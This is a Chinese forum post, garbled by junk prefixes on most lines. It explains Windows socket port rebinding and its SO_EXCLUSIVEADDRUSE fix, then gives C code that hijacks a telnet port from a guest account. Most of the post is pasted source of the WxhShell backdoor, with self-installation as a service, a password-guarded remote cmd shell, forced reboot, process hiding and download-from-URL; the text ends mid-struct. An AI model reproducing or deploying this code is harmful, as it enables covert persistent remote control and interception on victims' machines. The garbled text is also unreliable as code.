在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
wfE^Sb3 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
TN5>" ??" oz LH ]* saddr.sin_family = AF_INET;
eNtf#Rqym FC{})|yh
} saddr.sin_addr.s_addr = htonl(INADDR_ANY);
e,(a6X t<Ot|Ex bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
xk& NAB <Z},A-\S* 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
0Z"s_r}h jgG$'|s} 这意味着什么?意味着可以进行如下的攻击:
u^t$cLIZ /hL\,x2 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
g0PT8]8 E, GN| l 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Qlw>+y-i 9TC)
w| 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
58: :h.: ~(P&g7u 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
09'oz*v{# uQnT[\k? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
H9U.lb {Ur7#h5 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
@Gt`Ds9= V@[rf<, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
m^<p8KZ :5J_5,?;` #include
{?Od{d9 #include
b]T@gJ4H= #include
YScvyh?E #include
eeM?]J- DWORD WINAPI ClientThread(LPVOID lpParam);
8] `Ru5nd int main()
\Wr,<Y {
}9^@5!qX WORD wVersionRequested;
)n>+m|IqY( DWORD ret;
YlTaN,?j WSADATA wsaData;
c;9.KCpwx BOOL val;
,[* ;UR SOCKADDR_IN saddr;
*$S#o#5 SOCKADDR_IN scaddr;
O#)jr-vXdV int err;
^XG*z?Tt SOCKET s;
`<U5z$^QTw SOCKET sc;
?F_)- int caddsize;
1yMr~Fo HANDLE mt;
7VAJJv3 DWORD tid;
b5<okICD wVersionRequested = MAKEWORD( 2, 2 );
O(c@PJem err = WSAStartup( wVersionRequested, &wsaData );
$5NKFJc if ( err != 0 ) {
py
@(
< printf("error!WSAStartup failed!\n");
l(!/Q|Q| return -1;
<F(><Xw,-4 }
! \sMR saddr.sin_family = AF_INET;
wksl0:BL ^`XCT //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
19W:-Om lq>AGw saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
H; Ku
w saddr.sin_port = htons(23);
`XJm=/f if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"j^MB)YD {
dEp7{jY1O printf("error!socket failed!\n");
2%]Z
Kd return -1;
VL\t>n }
q9]IIv val = TRUE;
~e-z,:Af //SO_REUSEADDR选项就是可以实现端口重绑定的
UG](go't if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
u -3:k {
5Sva}9H printf("error!setsockopt failed!\n");
36vgX=} return -1;
n<7u>;SJQ }
nS9wb1Zl //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
_MuZ4tc //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]{GDS! ) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
#+k*1Jg ~TqT}:,H if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Z6Fp\aI8@ {
ok{!+VCB5 ret=GetLastError();
V 1/p_)A printf("error!bind failed!\n");
M'L;N!1A return -1;
++jAz<46 }
Ln!A:dP}c- listen(s,2);
[9o4hw while(1)
G^;>8r {
KOhA) caddsize = sizeof(scaddr);
fuMJdAuY7d //接受连接请求
Pw[g sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
2VoKr) if(sc!=INVALID_SOCKET)
_>yoX {
Uz
dc mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
oM1Qh? if(mt==NULL)
f-SuM% S_ {
y7)(LQRE
{ printf("Thread Creat Failed!\n");
]uQqn]+I! break;
mJ}opy!{; }
k[kju%i4 }
._PzYE|m2 CloseHandle(mt);
~}"]&%Q{J }
Wl-<HR!n closesocket(s);
!EIjN
WSACleanup();
1P(&J return 0;
CAD@XZSh }
SF[FmN!^^ DWORD WINAPI ClientThread(LPVOID lpParam)
p B;3bc {
OI}cs2m SOCKET ss = (SOCKET)lpParam;
&(N+.T5cp SOCKET sc;
)B$;Vs]@i unsigned char buf[4096];
=
ieag7! SOCKADDR_IN saddr;
>e,mg8u6$ long num;
$I9qgDJ) DWORD val;
0#*Lw }qi DWORD ret;
c>"cX& //如果是隐藏端口应用的话,可以在此处加一些判断
ZJ*g))k7 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'#/G,%m<!i saddr.sin_family = AF_INET;
tjT>VwqH saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
/Q{P3:k saddr.sin_port = htons(23);
;j8)KC if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3?n>yS {
oXXC@[??}N printf("error!socket failed!\n");
2*iIjw3g return -1;
Z\}K{# }
T~_/Vi val = 100;
Av' GB if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
CQh,~ {
G 2!xPHz ret = GetLastError();
fw6UhG return -1;
/FP5`:PfL }
]X Z-o>+, if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%zk$}}ti. {
.iX# A<E} ret = GetLastError();
XolZonJr return -1;
$37
g]ZD }
mZz="ZLa: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
4(Iplo*Ys@ {
G uQ=gN printf("error!socket connect failed!\n");
UFAL1c<V closesocket(sc);
Xce0~\_A closesocket(ss);
>K9#3
4hP return -1;
mE%$HZ} }
_j?e~w&0b while(1)
_WX tB# {
l>*"mh //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
y\dEk:\) //如果是嗅探内容的话,可以再此处进行内容分析和记录
:+Om]#`Vls //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
:0& X^]\ num = recv(ss,buf,4096,0);
k@ZLg9 if(num>0)
2_vbT!_ send(sc,buf,num,0);
B33$pUk else if(num==0)
h\v'9 break;
,to+oSZE num = recv(sc,buf,4096,0);
,1OyN]f3 if(num>0)
c:Wze*vI; send(ss,buf,num,0);
GaX[C<Wt else if(num==0)
g<{xC_J break;
)q7UxzE+ }
$`R6=\| closesocket(ss);
Um#Wu]i closesocket(sc);
PxH72hBS return 0 ;
D?XM,l+ }
tyaA\F57 A+hT3;lp (jU6GJRP ==========================================================
0cK{ ;22oY>w 下边附上一个代码,,WXhSHELL
m3Il3ZY. otggN:^Qw ==========================================================
[kE."# gUyR_5q)8l #include "stdafx.h"
!,V{zTR 5waKI?4F #include <stdio.h>
^&y$Wd]6 #include <string.h>
\]$IDt(s #include <windows.h>
(=~&+z #include <winsock2.h>
Xd^\@
#include <winsvc.h>
.{y
uo{u #include <urlmon.h>
KM^ufF2[ y~()|L[ #pragma comment (lib, "Ws2_32.lib")
ME'|saP #pragma comment (lib, "urlmon.lib")
_6ay-u RV@*c4KvO+ #define MAX_USER 100 // 最大客户端连接数
6 G=j6gK%P #define BUF_SOCK 200 // sock buffer
M1KqY: 9E #define KEY_BUFF 255 // 输入 buffer
-D6exTxh" ZXm/A0)S #define REBOOT 0 // 重启
4:g R r
#define SHUTDOWN 1 // 关机
}.s~T#v giz7{Ai #define DEF_PORT 5000 // 监听端口
gz3pX#S {nLjY|* #define REG_LEN 16 // 注册表键长度
x?&$ ci #define SVC_LEN 80 // NT服务名长度
,}K<*t[I [jmd // 从dll定义API
bw\@W{a%q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
O)vp~@| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
D_vbSF) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
'C"9QfK typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
uu`G 2[t S~|T4q( // wxhshell配置信息
@')[FEdW struct WSCFG {
pR~U`r5z int ws_port; // 监听端口
8<Hf"M char ws_passstr[REG_LEN]; // 口令
5LOo8xN int ws_autoins; // 安装标记, 1=yes 0=no
,cNLkoN char ws_regname[REG_LEN]; // 注册表键名
eUg~)m5G char ws_svcname[REG_LEN]; // 服务名
e=.]F*:J char ws_svcdisp[SVC_LEN]; // 服务显示名
ght$9>'n char ws_svcdesc[SVC_LEN]; // 服务描述信息
VNY%R,6
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
<>Hj
;q5p int ws_downexe; // 下载执行标记, 1=yes 0=no
(DI>5.x" char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
6'Fd GS char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Cg(Y&Gxf. X7rMeu };
>p"c>V& 8 U*)8G // default Wxhshell configuration
<u2 }i<# struct WSCFG wscfg={DEF_PORT,
NU0g07" "xuhuanlingzhe",
F]<Xv" 1,
<~WsD)=$ "Wxhshell",
H-
$)3"K "Wxhshell",
x9JD\vZ "WxhShell Service",
UeRj< \"Q "Wrsky Windows CmdShell Service",
D|{jR~J)xK "Please Input Your Password: ",
HPZ}*m' 1,
Ftr5k^! "
http://www.wrsky.com/wxhshell.exe",
')$+G152 "Wxhshell.exe"
V;v8=1t! };
ml+; Rmvb Om5Y|v"* // 消息定义模块
s=;uc]9g char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
!4X
f~P char *msg_ws_prompt="\n\r? for help\n\r#>";
nR-YrR*k char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
-X"p:=;j char *msg_ws_ext="\n\rExit.";
}R{ts char *msg_ws_end="\n\rQuit.";
\pVXimam char *msg_ws_boot="\n\rReboot...";
r4SXE\
G char *msg_ws_poff="\n\rShutdown...";
#~
)IJ char *msg_ws_down="\n\rSave to ";
V{!J-nO *+#8mA( char *msg_ws_err="\n\rErr!";
,=[?yJy char *msg_ws_ok="\n\rOK!";
`9BROZnq o6uJyCO char ExeFile[MAX_PATH];
~GZY 5HF int nUser = 0;
):[7E(F= HANDLE handles[MAX_USER];
o{y9r{~A int OsIsNt;
:0Rx#%u}# E4M@WNPx SERVICE_STATUS serviceStatus;
t&AFUt\c SERVICE_STATUS_HANDLE hServiceStatusHandle;
V T\F]Oa# o%IA}e7PAa // 函数声明
{y_98N int Install(void);
@fl-3q int Uninstall(void);
~
Q. 7VDz int DownloadFile(char *sURL, SOCKET wsh);
xwq+j " int Boot(int flag);
=ACVE;L? void HideProc(void);
24z< gO int GetOsVer(void);
&tg&5_ int Wxhshell(SOCKET wsl);
FG.em void TalkWithClient(void *cs);
+nJgl8'^y int CmdShell(SOCKET sock);
2h5nMI]' int StartFromService(void);
+lHjC$ int StartWxhshell(LPSTR lpCmdLine);
t%E!o0+8Z sTn<#l6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
hHV";bk VOID WINAPI NTServiceHandler( DWORD fdwControl );
e,W%uH>X NTYg[VTr // 数据结构和表定义
%H]ptH5 SERVICE_TABLE_ENTRY DispatchTable[] =
ur:3W6ZKl {
=A83W/4 {wscfg.ws_svcname, NTServiceMain},
pHLB = r {NULL, NULL}
hEKf6# };
Z{]0jhUyNh 7$CBx/X50) // 自我安装
HTX?,C_ int Install(void)
Brf5dT49 {
PoG-Rqe char svExeFile[MAX_PATH];
6WXRP;!Q HKEY key;
6ZP(E^. strcpy(svExeFile,ExeFile);
MygfT[_ jIC_[ // 如果是win9x系统,修改注册表设为自启动
%C|n9* if(!OsIsNt) {
W3MJr&p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
xMTKf+7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>7jbgHB RegCloseKey(key);
r]:(Vk]|F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{zQ8)$CQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
au:
fw RegCloseKey(key);
1v.c 6~ return 0;
Rwz0poG`WG }
)u[emv$ }
A kC1z73< }
$4h 5rC g0 else {
;f#v0W`5 PQ5QA61 // 如果是NT以上系统,安装为系统服务
_m5uDF?[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
_K l_61k if (schSCManager!=0)
Oo5w?+t {
%4et&zRC SC_HANDLE schService = CreateService
J^SdH&%Z (
J;.wXS_U8 schSCManager,
4|riKo) wscfg.ws_svcname,
49GkPy#]L= wscfg.ws_svcdisp,
.F
SERVICE_ALL_ACCESS,
"{@A5A SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
RP[{4Q8 SERVICE_AUTO_START,
le/,R@]B9 SERVICE_ERROR_NORMAL,
hI]Hp3S svExeFile,
B-ngn{Yc NULL,
5m\<U` NULL,
M+||rct NULL,
6#7Lm) g8 NULL,
m$}R% NULL
KL1/^1 );
\^L`7cBL if (schService!=0)
8 OY 3A {
]zE;Tw.S CloseServiceHandle(schService);
=,spvy'"*C CloseServiceHandle(schSCManager);
Dz>^IMsY strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
%b&".mN strcat(svExeFile,wscfg.ws_svcname);
p>RNPrT if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Ta
?_5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
[$0p+1 RegCloseKey(key);
g!@<n1 L return 0;
q rJ`1 }
n.'8A(,r3 }
O#:$^#j& CloseServiceHandle(schSCManager);
H?<N.Dq }
WIC/AL' }
0^I|ut4 C7lH]`W|/ return 1;
'\Giv!> }
{> eXR?s/ mn, =i // 自我卸载
}zkHJxZgE int Uninstall(void)
_<k\FU
r {
dgR
g>)V HKEY key;
Xe6w| CR8/Ke if(!OsIsNt) {
1"zDin!A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_4"mAPt RegDeleteValue(key,wscfg.ws_regname);
}Lc-7[/ RegCloseKey(key);
nzd2zY>V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Wk~WOzr}^ RegDeleteValue(key,wscfg.ws_regname);
0h#lJS* RegCloseKey(key);
_ky,;9G] return 0;
5]KW^sL }
|^: cG4e }
Gw>^[dmt! }
hL/)|N~ else {
o3Yb7h9 .`HYA*8_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
E27vR 7 if (schSCManager!=0)
|L%Z,:yO {
aoMqSwF= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
/Y9>8XSc if (schService!=0)
*7CV^mDm {
:[wsKFaV+ if(DeleteService(schService)!=0) {
+o\:d1y CloseServiceHandle(schService);
ah+~y,Gl CloseServiceHandle(schSCManager);
C7rNV0.Fq return 0;
E@@5BEB ~ }
K{&mI/; CloseServiceHandle(schService);
nxUJN1b!N }
_-q.Q^ CloseServiceHandle(schSCManager);
pWy=W&0~qf }
XC4X-j3 }
1C<uz29 u[@l~gwL return 1;
Eo{"9j\ }
3.|S .<jr0,i // 从指定url下载文件
YPU*@l> int DownloadFile(char *sURL, SOCKET wsh)
5:pM4J {
)U~=Pf" HRESULT hr;
'qZW,],5 char seps[]= "/";
ockTe5U char *token;
.u*0[N char *file;
S?> HD| Z char myURL[MAX_PATH];
8J:}%DaxL char myFILE[MAX_PATH];
sF|5XjQ 1pt%Kw*@j strcpy(myURL,sURL);
XRcq hv token=strtok(myURL,seps);
{_7i8c<s= while(token!=NULL)
?3nR {
6g|*`x{ file=token;
d ^^bke$~ token=strtok(NULL,seps);
GGNvu)" }
Bzkoo J
3L<wQ( GetCurrentDirectory(MAX_PATH,myFILE);
7op`s5i strcat(myFILE, "\\");
E)TN,@% strcat(myFILE, file);
6VS4y-N send(wsh,myFILE,strlen(myFILE),0);
wP6Fl L send(wsh,"...",3,0);
QN
#U)wn: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
J3e96t~u if(hr==S_OK)
N*"p|yhd] return 0;
_y),J'W^3u else
C>-aIz!y return 1;
O[I\A[*
@OV|]u }
*AG#316 <oR a3Gi(% // 系统电源模块
q;R],7Re int Boot(int flag)
;|pBFKx {
,=UK}*e" HANDLE hToken;
p~SClaR3H TOKEN_PRIVILEGES tkp;
wfNk=)^$ RX>xB if(OsIsNt) {
dYG,_ji OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
v'U{/ ,x LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
% 5m/ tkp.PrivilegeCount = 1;
qAAX;N tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
!ipR$ dM AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
\?Z{hmN if(flag==REBOOT) {
Q3
u8bx|E if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
w\(.3W7 return 0;
NL!u<6y }
a2dnbfSWa[ else {
)[PtaPWeT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
v>$'iT~ l return 0;
eFaO7mz5V% }
"]"|"0#i }
|bq$xp else {
v9:9E|,U+ if(flag==REBOOT) {
lhYe;b( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
IAw{P08+ return 0;
kddZZA3` }
7Nk!1s: else {
}RzWJ@QD< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
xC{qV, return 0;
uehDIl0\[b }
8 7BHq) }
tZ'|DCT wCr(D>iM return 1;
fuWO* }
W yB3ls~ qu-B|
MuOa // win9x进程隐藏模块
~tBYIkvWT void HideProc(void)
{l>yi {
B.dH(um .ni_p 6! HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
C1jHz if ( hKernel != NULL )
/DK"QV!]s {
mzeY%A<0^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
bL'aB{s ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Jll-`b 1 FreeLibrary(hKernel);
P*
w9, }
eCqHvMp XiL~TCkx4 return;
|2RC# ]/-Y }
,eTUhK I(V!Mv8j // 获取操作系统版本
t; 4]cg:_ int GetOsVer(void)
?)kG A$m# {
?$*SjZt OSVERSIONINFO winfo;
1Md winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
^su<uG<R GetVersionEx(&winfo);
jzDuE{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
d Vj_8> return 1;
z2g3FUTX)b else
`-(|>5wWS return 0;
=T(6#" }
N>XS=2tzN $})g?Q // 客户端句柄模块
r[BVvX/,F int Wxhshell(SOCKET wsl)
l8I /0`_ {
swK-/$# SOCKET wsh;
F({HP)9b struct sockaddr_in client;
Fh`~`eog DWORD myID;
/W>iJfx $oj:e?8N while(nUser<MAX_USER)
PmKeF} {
%>~sJ0 int nSize=sizeof(client);
0\[Chja wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
E^.n c~ if(wsh==INVALID_SOCKET) return 1;
^Pbk#|$rU Nd$W0YN: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
<,[cQ I/ if(handles[nUser]==0)
J%x\=Sv closesocket(wsh);
*h'=3w:G else
0w)^) nUser++;
l:j4Ft 8 }
N'^&\@)xiU WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
M}yDXJx r [4tPk return 0;
sE:M@`2L }
9QDFEYG y~q8pH1
// 关闭 socket
0`X]o'RxS void CloseIt(SOCKET wsh)
$,,op( {
Jtr"NS?a] closesocket(wsh);
4)A#2 nUser--;
,Wk?I%> ExitThread(0);
]j`c]2EuP }
~:Ll&29i SKkUU^\#R` // 客户端请求句柄
nEJY5Bz$ void TalkWithClient(void *cs)
n2)@S0{ {
qU#1i:(F* /atW8 `& SOCKET wsh=(SOCKET)cs;
R)QC)U char pwd[SVC_LEN];
/ro=?QYb char cmd[KEY_BUFF];
m9.{[K" char chr[1];
:_g$.h%% int i,j;
"Y~:|?(@- I@yCTluV$ while (nUser < MAX_USER) {
uTKD 4yig 2QJ{a46} if(wscfg.ws_passstr) {
dwDcR,z?a if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
0=AVW`J //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
umt.Um.m2 //ZeroMemory(pwd,KEY_BUFF);
*7ZN]/VRT i=0;
7f0lQ while(i<SVC_LEN) {
K`u(/kz/< Y8-86 *zC // 设置超时
8W,Jh8N6 fd_set FdRead;
^eo|P~w
g struct timeval TimeOut;
59"UL\3 FD_ZERO(&FdRead);
3|'>`!hb FD_SET(wsh,&FdRead);
#~C]ZrK TimeOut.tv_sec=8;
p<,*3huj TimeOut.tv_usec=0;
M$/|)U'W int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
u>kN1k Q8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
d$ x"/A]< B9NWW6S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
{>DEsO pwd
=chr[0]; j g8fU
if(chr[0]==0xd || chr[0]==0xa) { 6W]9$n\"?
pwd=0; +trC,D
break; +
HK8jCa
} i36eBjT
i++; SL#0kc0x
} a&c6.#E{y
+l9!Fl{MK\
// 如果是非法用户,关闭 socket \s=t|Wpu2
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C71qPb|$R
} E4|jOz^j4\
w5A y)lz
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BD_Iz A<wK
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~Y|*`C_)
@mw5~ +
while(1) { k <=//r
4dO~C
ZeroMemory(cmd,KEY_BUFF); eYN5;bx)W
|wiqGzAr{
// 自动支持客户端 telnet标准 $$Oey)*
j=0; aMWmLpv4'
while(j<KEY_BUFF) { zO ).T
M_
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p i
%<Sy
cmd[j]=chr[0]; ?[g=F <r
if(chr[0]==0xa || chr[0]==0xd) { "Zl5<
cmd[j]=0; fI{&#~f4C
break; T
6)bD&
} b{L/4bu
j++; r:f[mk"-"A
} S-
pV_Ff
K/i*w<aPb7
// 下载文件 1FlX'[vh
if(strstr(cmd,"http://")) { U+:m4a
send(wsh,msg_ws_down,strlen(msg_ws_down),0); _+K_5IO4
if(DownloadFile(cmd,wsh)) >7I15U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1*'HL#
else *>|gxM8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5*l T.
} Cs9.&Y
else { bM {s
T"
0ZZZoPo
switch(cmd[0]) { %E#s\B,w
_ba>19csq%
// 帮助 v!<gY
m&
case '?': { 7"sD5N/>uh
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q8/MMKCbX
break; t&H?\)!4
} 5ymk\Lw
// 安装 l_o@miG/
case 'i': { }+.}J
if(Install()) [x+FcXb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +S>j0m<*
else Al}6q{E9+8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B*
?]H*K
break;
DJ'zz&K
}
coW:DFX
// 卸载 &;^YBW :I
case 'r': { }=<
if(Uninstall()) <0b)YJb4M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c~z82iXNO
else l`oZ)?ur
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )bS yB29S
break; 8K:y\1
} lAb*fafQy
// 显示 wxhshell 所在路径 2oVSn"
case 'p': { O(fM?4w
char svExeFile[MAX_PATH]; 7gf05Z'=
strcpy(svExeFile,"\n\r"); :r{<zd>;
strcat(svExeFile,ExeFile); /]K^
rw[
send(wsh,svExeFile,strlen(svExeFile),0); a1EOJ^}0
break; &"yx<&c}
} ]^h]t~
// 重启 T|nDTezr
case 'b': { z@!`:'ak
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "W6uV!
if(Boot(REBOOT)) OLyf8&AU@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gG0!C))8
else { OI|[roMK
closesocket(wsh); b$N2z
ExitThread(0); >_[9t
} t^+ik1.
break; );#JL0I
} EK{Eo9l
// 关机 ]{3)^axW;
case 'd': { .~~nUu+M
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (SpX w,:
if(Boot(SHUTDOWN)) +"rDT1^V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zQcL|(N
else { r)y=lAyF>
closesocket(wsh); bo2H]PL*
ExitThread(0); = bfJ^]R
} 7%5z p|3
break; @$ne{2J3
} $ `ov4W
// 获取shell zd2)M@
case 's': { I(i}c~R
CmdShell(wsh); aOlT;h
closesocket(wsh); n&$j0k
ExitThread(0); 6HT;#Znn
break; smlpD3?va
} ;rF\kX&Jh
// 退出 2;k*@k-t
case 'x': { Sdp&jZY
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x-$&g*<
CloseIt(wsh); VJeu8ZJ.
break; |,S+@"0#
} a!a-b~#cx
// 离开 T-.%
case 'q': { Bal$+S
send(wsh,msg_ws_end,strlen(msg_ws_end),0); GzhYY"iif#
closesocket(wsh); J?V? R
WSACleanup(); sd*p/Q|4
exit(1); h
k]
N6+@
break; 6.sx?Y YM
} CSJdvxb
} {#ZlM
}
SWH2
j_K4;k#r
// 提示信息 @Xt*Snd
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T. }1/S"m
} I3aNFa}
} 6/5YjO|a
F0GxH?
return; ?^7t'`zk
} {x|[p_?
8m-U){r!U^
// shell模块句柄 \HqNAE2T
int CmdShell(SOCKET sock) t)~"4]{*}D
{ "H7dft/
STARTUPINFO si; Pr3qo4t.L
ZeroMemory(&si,sizeof(si)); {+] [5<q
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <`.X$r*
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FtpK)9/4
PROCESS_INFORMATION ProcessInfo; I4'5P}1yp
char cmdline[]="cmd"; )F}F_Y
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5&QJ7B,!
return 0; pV9IHs}
} &q3"g*q
FEW14U'O
// 自身启动模式 DGRXd#
int StartFromService(void) )B
T
{ T/b6f;t-s
typedef struct 6"wlg!k8
{ /z4$gb7Y
DWORD ExitStatus; VU#`oJ:{
DWORD PebBaseAddress; 3-[q4R
DWORD AffinityMask; 7r7YNn/?
DWORD BasePriority; 'H3^e}
ULONG UniqueProcessId; @ju@WY45$^
